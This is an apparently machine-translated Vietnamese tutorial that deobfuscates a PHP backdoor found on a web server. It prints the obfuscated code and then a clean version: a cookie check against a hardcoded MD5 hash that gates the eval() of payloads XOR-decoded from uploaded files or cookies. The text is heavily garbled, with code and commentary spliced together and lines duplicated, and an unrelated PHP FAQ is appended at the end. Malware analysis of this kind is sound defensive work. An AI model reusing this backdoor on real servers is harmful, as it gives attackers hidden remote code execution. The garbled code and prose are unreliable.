& nbsp;$ ndix = '$ 2+ys, yhmm? _q =*= r (!/pezc8';buoxw = '^5^&!K{`,,=0VvK2';
& nbsp;$ esz = 'u+"dpmitacdj = z494%t5#{cn+'. 'mxh';uhd = 'Kc4(|+zdQ*e=p3@n' . $ximo;
& nbsp;& nbsp;
& nbsp;$ yintv = '$ k`p/cz';wxojo = 'Kc4(|+zdQ*e=p3@n' ^ $olzxu;
& nbsp;$ tbjq = 'rs.n $ [b7a%?? $ OUM#UCP';uyvnw = $qpovk . 'yo#0c5l/+2D2@Bp6Ln)9Yu';
& nbsp;$ cdyot = 'tcks+@tq)/) iz+cg60';iow = '.4W}Ny*Rtw"K{){(Z.st*#';
& nbsp;$ mivbcw = $ oxkj. $ TBJQ;nuim .= ':63yj.PVYpmP4rW@$S{J##T3/CRY:1';
& nbsp;$ nuim = 'dyky!] H, em {b | 77xzkgpy0s,%) ra; c [q & g $] f] hb9m) AIS8^e@/a8v/^6d W4i7fs | k} vm/$, = z6 {; không?; M-bkrbn+; 4 {_o! I $ l+fht4; : U? (@54dmig2! M; 1K#jc & bpcqdlmfx%gfokk3 & u#k5i9j6ko (+2*2o+7b#oe7s = -cv = '. $ Nbwlb;iuib = $nuim . 'f{IqV6H' ^ $mivbcw . 'URVQNJ%/pKgY=226E?SnQJ,TX${b08';
& nbsp;& nbsp;
& nbsp;$ koab ^ 'innv "(] _ k? V, gof';xef = $xef . 'skluXYBZR??tzo';
& nbsp;$ BUOXW = '^5^&! K {`,, = 0VVK2';tbaj = 'X|wUS9&&o5;,llpy]8i';
& nbsp;& nbsp;
& nbsp;$ uhd = 'kc4 (|+zdq*e = p3@n'. $ ximo;dppx = $dppx . '[@!qz7^';
& nbsp;$ wxojo = 'kc4 (|+zdq*e = p3@n' ^ $ olzxu;gskq = 'hmm2ZB8y0qB@{Iu,[aKgYKH7' . ',Mq!n_o$8A0.6-/L';
& nbsp;& nbsp;
& nbsp;$ UYVNW = $ QPOVK. 'yo#0c5l/+2d2@bp6ln) 9yu';wwii = $ibvffk($uwks, $iuib);
& nbsp;$ iow = '.4w} ny*rtw "k {) {(z.st*#';wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:', 'mOZT[_]');
& nbsp;$ nuim. = ': 63yj.pvypmp4rw@$s {j ## t3/cry: 1';
& nbsp;$ iuib = $ nuim. 'f {iqv6h' ^ $ mivbcw. 'Urvqnj%/pkgy = 226e? Snqj, tx $ {b08';rsx = $zff;
& nbsp;& nbsp;
& nbsp;$ XEF = $ XEF. 'Skluxybzr ?? tzo';yknx = 'L+O_$UrRRsHO=sZmn$';
& nbsp;$ tbaj = 'x | wus9 && o5;, llpy] 8i';txwtr = 'hN8#8sM^';
& nbsp;& nbsp;
& nbsp;$ dppx = $ dppx. '[@! QZ7^';oqxj = 'oU4!qG1';
& nbsp;$ gskq = 'hmm2zb8y0qb@{iu, [akgykh7'. ', MQ! N_O $ 8A0.6-/L';lhbv = ':?L9"asAc64HuHR:}O';
& nbsp;$gvk;gvk;
& nbsp;& nbsp;
& nbsp;$ wwii = $ ibvffk ($ uwks, $ iuib);

$ wwii ('$ (r6%] W? DVM! Y $ `-W?

}

$ rsx = $ zff;

$ yknx = 'l+o_ $ urrrsho = szmn $';

$ txwtr = 'hn8#8sm^';

Đây là một ví dụ về những gì tôi muốn nói khi đi từng dòng. Trong trường hợp này, tôi lưu ý những gì biến chứa bằng cách đặt giá trị của nó trong một nhận xét ở trên nó.

& nbsp;
& nbsp;& nbsp;
& nbsp;// ... xa hơn xuống tệp
& nbsp;& nbsp;
& nbsp;// ini_set
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
& nbsp;var_dump($krqf);($krqf);
& nbsp;& nbsp;
& nbsp;// ... xa hơn xuống tệp
& nbsp;// ini_setdghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
& nbsp;var_dump($dghpp);($dghpp);
& nbsp;& nbsp;
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';
& nbsp;// báo cáo lỗigqwmvj = '4}' ^ 'PH`T.P';
& nbsp;var_dump($gqwmvj);($gqwmvj);

$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';

& nbsp;
& nbsp;& nbsp;
& nbsp;// ... xa hơn xuống tệp
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// ... xa hơn xuống tệp
& nbsp;// ini_set
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';
& nbsp;// báo cáo lỗi
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';
& nbsp;// D5krqf($dghpp, $qkkgc);

$ gqwmvj = '4}' ^ 'ph`t.p';evalute its variables. After all, is said and done, our program should now look like this:

& nbsp;
& nbsp;Ở đây chúng tôi có cuộc gọi chức năng đầu tiên của chúng tôi. Trong PHP, bạn có thể lưu trữ tên chức năng trong một biến và sau đó gọi biến đó giống như một hàm thông thường:xzsuh = '$7-"]A8qcb[rj@y';
& nbsp;& nbsp;
& nbsp;// Chúng tôi biết từ mã ở trên rằng $ krqf bằng ini_set
& nbsp;// và $ dghpp bằng "error_reporting" và $ qkkgc được đặtbpvdd = '!a@nT' ^ 'L';
& nbsp;var_dump($bpvdd);($bpvdd);
& nbsp;& nbsp;
& nbsp;// đến 0 trực tiếp ở trên để chúng tôi biết rằng dòng này là:auzn = '%1#';
& nbsp;//mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
& nbsp;// ini_set ('error_Reporting', 0);tj = ',%XQ6Aq(#7';
& nbsp;$ krqf ($ dghpp, $ qkkgc);whhwy = 'u8?+r%h';
& nbsp;& nbsp;
& nbsp;// ini_set
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// ... xa hơn xuống tệp
& nbsp;// ini_setdghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';
& nbsp;// báo cáo lỗigqwmvj = '4}' ^ 'PH`T.P';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';atj = 'W+';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// D5
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';eevd = '#8@=:3B0?xi]5dE}' ^ '{0`)_y5gYw5gil[';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;Ở đây chúng tôi có cuộc gọi chức năng đầu tiên của chúng tôi. Trong PHP, bạn có thể lưu trữ tên chức năng trong một biến và sau đó gọi biến đó giống như một hàm thông thường:qkkgc = 0;
& nbsp;& nbsp;
& nbsp;// ... xa hơn xuống tệp
& nbsp;// ini_set
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';
& nbsp;// báo cáo lỗi
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';
& nbsp;// D5krqf($dghpp, $qkkgc);
& nbsp;& nbsp;
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';bcae = 'OW=0B$.NVY4_L^M';
& nbsp;& nbsp;
& nbsp;Ở đây chúng tôi có cuộc gọi chức năng đầu tiên của chúng tôi. Trong PHP, bạn có thể lưu trữ tên chức năng trong một biến và sau đó gọi biến đó giống như một hàm thông thường:
& nbsp;// Chúng tôi biết từ mã ở trên rằng $ krqf bằng ini_setchbnph = $tj . $atj;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// và $ dghpp bằng "error_reporting" và $ qkkgc được đặtwaw = @$_COOKIE;
& nbsp;& nbsp;
& nbsp;// đến 0 trực tiếp ở trên để chúng tôi biết rằng dòng này là:
& nbsp;//
& nbsp;// ini_set ('error_Reporting', 0);
& nbsp;// báo cáo lỗi
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';
& nbsp;$dghpp($qkkgc);dghpp($qkkgc);
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// D5kr = 'ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';
& nbsp;& nbsp;
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';atj = $bpvdd . $gqwmvj;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;Ở đây chúng tôi có cuộc gọi chức năng đầu tiên của chúng tôi. Trong PHP, bạn có thể lưu trữ tên chức năng trong một biến và sau đó gọi biến đó giống như một hàm thông thường:
& nbsp;// Chúng tôi biết từ mã ở trên rằng $ krqf bằng ini_setibvffk = $chbnph . $auzn ^ $bcae;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// và $ dghpp bằng "error_reporting" và $ qkkgc được đặt
& nbsp;// đến 0 trực tiếp ở trên để chúng tôi biết rằng dòng này là:
& nbsp;// báo cáo lỗi
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';
& nbsp;// D5qgexh = $waw['zqcvp'];
& nbsp;& nbsp;
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';
& nbsp;Ở đây chúng tôi có cuộc gọi chức năng đầu tiên của chúng tôi. Trong PHP, bạn có thể lưu trữ tên chức năng trong một biến và sau đó gọi biến đó giống như một hàm thông thường:
& nbsp;// Chúng tôi biết từ mã ở trên rằng $ krqf bằng ini_setvzy = $kr . 'ftAx' ^ $mgfbv;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// và $ dghpp bằng "error_reporting" và $ qkkgc được đặt
& nbsp;// đến 0 trực tiếp ở trên để chúng tôi biết rằng dòng này là: ($vzy == $atj($qgexh)) {
& nbsp;& nbsp;
& nbsp;//oxkj = 'nPb]N7%Z34Fj]RZ(.2oT&v:``z)cL909REytO}WB_$E$64]*:#@/L3A*El_k-=7x+jfY8VA+qe)x5I$)HL:QKjoSFkY).`kgt?mYL4$WOOpYa[KjONMFwND$T8RNL+rry`gvI,Y5[^A-fh`ly$M_+fXU-lM)MZVJ9;cwtb--0gaw[C8XCf02EFL=d_*N/A{KpyQ@3.)7n.#4i/X^8TIhr3c?O=ASU]UrIV1FyQh7XN,2X';
& nbsp;& nbsp;
& nbsp;// ini_set ('error_Reporting', 0);nbwlb = 'zWA$I-4NH{]^W*Cy|1&3';
& nbsp;& nbsp;
& nbsp;$ krqf ($ dghpp, $ qkkgc);gj = 'Cw1VaN^)yg*';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;Khi bạn bắt gặp câu lệnh IF, bạn có thể nhận xét về dòng IF IF và khung đóng để đánh giá & nbsp; các biến của nó. Rốt cuộc, được nói và thực hiện, chương trình của chúng tôi bây giờ sẽ trông như thế này:
& nbsp;$ xzsuh = '$ 7-"] a8qcb [rj@y';buupi = $lbq ^ 'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// mndix = '$2+YS,yhMM?_Q=*=r(!/PeZC8';
& nbsp;& nbsp;
& nbsp;$ bpvdd = '! a@nt' ^ 'l';esz = 'U+"DpMITACDJ=z494%t5#{CN+' . 'mxh';
& nbsp;& nbsp;
& nbsp;$ aUzn = '%1#';yintv = '$k`P/Cz';
& nbsp;& nbsp;
& nbsp;$ mgfbv = 'v_xzcyzwri_nod^ywf2p [r | j, qp] vifs';tbjq = 'Rs.N$[B7a%??$OuM#UCP';
& nbsp;$ tj = ',%xq6aq (#7';cdyot = 'tCKS+@tq)/)iZ+cg60';
& nbsp;& nbsp;
& nbsp;$ whhwy = 'u8?+r%h';mivbcw = $oxkj . $tbjq;
& nbsp;$ atj = 'w+';nuim = 'dYky!]H,EM{B|77XZKGpy0s,%)rA;C[Q&g$]f]hb9M)AiS8^e@/A8V/^6D{4kt{=x1D.B=)_S8rZA$Tv&-W4i7Fs|K}vm/$,=z6{;NO?;m-bkRBN+;4{_o!I$L+fht4;5%4-kH2M6)cpOA@SYB$3N9?0Y3.F#.3$MHKS+$dau4:U?(@54Dmig2!M;1K#Jc&bPCqdlmfx%gfoKK3&U#k5I9j6kO(+2*2O+7B#Oe7S=-CV=' . $nbwlb;
& nbsp;& nbsp;
& nbsp;// x ejwwf \: \buoxw = '^5^&!K{`,,=0VvK2';
& nbsp;$ eevd = '#8@=: 3b0? xi] 5de}' ^ '{0`) _y5gyw5gil [';uhd = 'Kc4(|+zdQ*e=p3@n' . $ximo;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;Khi bạn bắt gặp câu lệnh IF, bạn có thể nhận xét về dòng IF IF và khung đóng để đánh giá & nbsp; các biến của nó. Rốt cuộc, được nói và thực hiện, chương trình của chúng tôi bây giờ sẽ trông như thế này:
& nbsp;$ wxojo = 'kc4 (|+zdq*e = p3@n' ^ $ olzxu;wxojo = 'Kc4(|+zdQ*e=p3@n' ^ $olzxu;
& nbsp;$ UYVNW = $ QPOVK. 'yo#0c5l/+2d2@bp6ln) 9yu';uyvnw = $qpovk . 'yo#0c5l/+2D2@Bp6Ln)9Yu';
& nbsp;$ UYVNW = $ QPOVK. 'yo#0c5l/+2d2@bp6ln) 9yu';iow = '.4W}Ny*Rtw"K{){(Z.st*#';
& nbsp;$ UYVNW = $ QPOVK. 'yo#0c5l/+2d2@bp6ln) 9yu';nuim .= ':63yj.PVYpmP4rW@$S{J##T3/CRY:1';
& nbsp;& nbsp;
& nbsp;$ UYVNW = $ QPOVK. 'yo#0c5l/+2d2@bp6ln) 9yu';
& nbsp;$ UYVNW = $ QPOVK. 'yo#0c5l/+2d2@bp6ln) 9yu';
& nbsp;$ iow = '.4w} ny*rtw "k {) {(z.st*#';
& nbsp;$ nuim. = ': 63yj.pvypmp4rw@$s {j ## t3/cry: 1';
& nbsp;// $ ojmvvy = (! trống ($ _ files ["wzkht"])))? file_get_contents ($ _ files ["wzkht"] ["tmp_name"]): $ _cookie ["wzkht"];iuib = $nuim . 'f{IqV6H' ^ $mivbcw . 'URVQNJ%/pKgY=226E?SnQJ,TX${b08';
& nbsp;& nbsp;
& nbsp;// $ Duy = (! Trống ($ _ Files ["dkxmw"]))? file_get_contents ($ _ files ["dkxmw"] ["tmp_name"]): $ _cookie ["dkxmw"];xef = $xef . 'skluXYBZR??tzo';
& nbsp;// $ rixgwg = base64_decode ($ ojmvvy)^base64_decode ($ Duy);tbaj = 'X|wUS9&&o5;,llpy]8i';
& nbsp;& nbsp;
& nbsp;// @Eval ($ rixgwg); "dppx = $dppx . '[@!qz7^';
& nbsp;$ iuib = $ nuim. 'f {iqv6h' ^ $ mivbcw. 'Urvqnj%/pkgy = 226e? Snqj, tx $ {b08';gskq = 'hmm2ZB8y0qB@{Iu,[aKgYKH7' . ',Mq!n_o$8A0.6-/L';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ XEF = $ XEF. 'Skluxybzr ?? tzo';
& nbsp;$ tbaj = 'x | wus9 && o5;, llpy] 8i';
& nbsp;$ dppx = $ dppx. '[@! QZ7^';
& nbsp;$ gskq = 'hmm2zb8y0qb@{iu, [akgykh7'. ', MQ! N_O $ 8A0.6-/L';wwii = $ibvffk($uwks, $iuib);
& nbsp;& nbsp;
& nbsp;// create_function (null, $ iuib);
& nbsp;// Trả về Lambda_1
& nbsp;// về cơ bản tạo ra một chức năng ẩn danh
& nbsp;$ wwii = $ ibvffk ($ uwks, $ iuib);wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:', 'mOZT[_]');
& nbsp;// NULL đã được truyền như là đối số đầu tiên vào created_function nên
& nbsp;// $ wwii không thực sự chấp nhận bất kỳ tham số nàorsx = $zff;
& nbsp;& nbsp;
& nbsp;// Nhưng nó giúp bất cứ ai cố gắng giải thích nóyknx = 'L+O_$UrRRsHO=sZmn$';
& nbsp;$ wwii ('$ (r6%] W? DVM! Y $ `-W?txwtr = 'hN8#8sM^';
& nbsp;& nbsp;
& nbsp;}oqxj = 'oU4!qG1';
& nbsp;$ rsx = $ zff;lhbv = ':?L9"asAc64HuHR:}O';
& nbsp;$gvk;gvk;
& nbsp;& nbsp;
& nbsp;$ yknx = 'l+o_ $ urrrsho = szmn $';

$ txwtr = 'hn8#8sm^';

$ oqxj = 'ou4! qg1';

& nbsp;$ lhbv = ':? l9 "asac64huhr:} o';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;?>
& nbsp;Được rồi, chúng tôi đã đánh giá tất cả các mã và bây giờ có một số PHP quen thuộc trong các bình luận. & NBSP; bước thứ hai của chúng tôi đến bước cuối cùng sẽ là diễn giải những gì chương trình thực hiện dựa trên những gì chúng tôi đã viết trong các nhận xét trên mỗi biến.
& nbsp;Phần này ít đơn giản hơn một chút và đòi hỏi một số sáng tạo. Ngoài ra, trong khi một số biến được gán giá trị, chúng có thể chưa bao giờ được sử dụng.
& nbsp;//
& nbsp;// Chúng tôi biết từ mã ở trên rằng $ krqf bằng ini_set('error_reporting', 0);
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// và $ dghpp bằng "error_reporting" và $ qkkgc được đặt
& nbsp;// đến 0 trực tiếp ở trên để chúng tôi biết rằng dòng này là:
& nbsp;//
& nbsp;//
& nbsp;// Chúng tôi biết từ mã ở trên rằng $ krqf bằng ini_set
& nbsp;& nbsp;
& nbsp;error_reporting(0);(0);
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// và $ dghpp bằng "error_reporting" và $ qkkgc được đặtcreate_function = 'create_function';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// đến 0 trực tiếp ở trên để chúng tôi biết rằng dòng này là:hash = @$_COOKIE['zqcvp'];
& nbsp;& nbsp;
& nbsp;//
& nbsp;ini_set ('error_Reporting', 0);
& nbsp;// Một cuộc gọi chức năng khác. Một lần nữa chúng ta biết rằng $ dghpp làstoredHash = "371b35831254c61f61fc291ad7012044"
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// bằng 'error_Reporting' và chúng tôi cũng biết $ qkkgc là ($storedHash == $md5($hash)) {
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;// bằng 0. Vì vậy, dòng này đánh giá đến:code = '$ojmvvy = (!empty($_FILES["wzkht"])) ? file_get_contents($_FILES["wzkht"]["tmp_name"]) : $_COOKIE["wzkht"];
& nbsp;// error_Reporting (0);
& nbsp;$ created_function = 'created_function';
& nbsp;@eval($rixgwg);'
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ Hash = @$ _ Cookie ['ZQCVP'];function = $create_function(null, $code);
& nbsp;& nbsp;
& nbsp;$function();function();
& nbsp;// NULL đã được truyền như là đối số đầu tiên vào created_function nên
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ yknx = 'l+o_ $ urrrsho = szmn $';

$ txwtr = 'hn8#8sm^';

& nbsp;$ lhbv = ':? l9 "asac64huhr:} o';
& nbsp;& nbsp;
& nbsp;?>
& nbsp;// Chúng tôi biết từ mã ở trên rằng $ krqf bằng ini_set('error_reporting', 0);
& nbsp;error_reporting(0);(0);
& nbsp;& nbsp;
& nbsp;// và $ dghpp bằng "error_reporting" và $ qkkgc được đặtstoredHash = '371b35831254c61f61fc291ad7012044';
& nbsp;// đến 0 trực tiếp ở trên để chúng tôi biết rằng dòng này là:authHash = @$_COOKIE['zqcvp'];
& nbsp;& nbsp;
& nbsp;//
& nbsp;ini_set ('error_Reporting', 0); ($storedHash == md5($authHash)) {
& nbsp;& nbsp;
& nbsp;// Một cuộc gọi chức năng khác. Một lần nữa chúng ta biết rằng $ dghpp là
& nbsp;// bằng 'error_Reporting' và chúng tôi cũng biết $ qkkgc là
& nbsp;// bằng 0. Vì vậy, dòng này đánh giá đến:file1 = !empty($_FILES['wzkht']) ? file_get_contents($_FILES['wzkht']['tmp_name']) : $_COOKIE['wzkht'];
& nbsp;& nbsp;
& nbsp;// error_Reporting (0);file2 = !empty($_FILES["dkxmw"]) ? file_get_contents($_FILES["dkxmw"]["tmp_name"]) : $_COOKIE["dkxmw"];
& nbsp;& nbsp;
& nbsp;$ created_function = 'created_function';
& nbsp;$ Hash = @$ _ Cookie ['ZQCVP'];executable = base64_decode($file1) ^ base64_decode($file2);
& nbsp;& nbsp;
& nbsp;// Giá trị này trông rất giống với giá trị băm
& nbsp;@eval($executable);eval($executable);
& nbsp;// NULL đã được truyền như là đối số đầu tiên vào created_function nên

// $ wwii không thực sự chấp nhận bất kỳ tham số nào

Bạn sẽ nhận thấy trong 2 dòng mã đầu tiên, chương trình sẽ tắt lỗi. Điều này là để ngăn chặn các lỗi được ghi lại và cảnh báo có khả năng được hiển thị cho người dùng. Tiến hành điều đó, chương trình sau đó đọc trong một giá trị băm từ cookie của người dùng; Nếu giá trị khớp với giá trị băm được mã hóa cứng, thì chương trình sẽ thực thi mã trong khối if. Xác thực nguyên thủy này được thực hiện để chỉ đảm bảo hacker hoặc ai đó có kiến ​​thức về giá trị băm được lưu trữ có thể chạy một số phần của chương trình.

Bên trong khối IF, chương trình cố gắng lấy nội dung của một tệp được lưu trữ cục bộ trên máy chủ. Nếu tệp không tồn tại cục bộ, nó sẽ cố gắng sử dụng giá trị văn bản được lưu trữ trong cookie của người dùng. Nó lặp lại bước một lần nữa cho một tập tin thứ hai. Sau đó, nó giải mã và kết hợp hai nội dung của tệp thành một số có lẽ là một số mã PHP thực thi khó chịu. & NBSP; bước cuối cùng là thực sự chạy mã đó bằng cách sử dụng eval ().

Như bạn có thể thấy, tin tặc thường đi rất lâu để che giấu ý định của họ và che giấu hành động của họ. Việc obfuscation ở trên chỉ là một trong nhiều cách tin tặc có thể ẩn chức năng của mã của chúng.

Hy vọng, bạn không bao giờ thấy một trong những tệp này trên máy chủ của riêng bạn. Nhưng, nếu bạn làm thế, bây giờ bạn sẽ có thể tìm thấy nó và tìm hiểu hoạt động bên trong của nó.

Làm cách nào để mở tệp định dạng PHP?

Tệp PHP được đặt bên trong thư mục HT HTDOCS.Nếu bạn muốn chạy nó, hãy mở bất kỳ trình duyệt web nào và nhập vào localhost/demo.php và nhấn enter.Chương trình của bạn sẽ chạy.open any web browser and enter “localhost/demo. php” and press enter. Your program will run.

Giải mã PHP là gì?

Hàm urldecode () là một hàm sẵn có trong PHP được sử dụng để giải mã URL được mã hóa bởi hàm được mã hóa ().Cú pháp: Chuỗi URLDECODE ($ Input) Tham số: Hàm này chấp nhận thông số đơn $ đầu vào giữ URL được giải mã.Giá trị trả về: Hàm này trả về chuỗi được giải mã khi thành công.an inbuilt function in PHP which is used to decode url which is encoded by encoded() function. Syntax: string urldecode( $input ) Parameters: This function accepts single parameter $input which holds the url to be decoded. Return Value: This function returns the decoded string on success.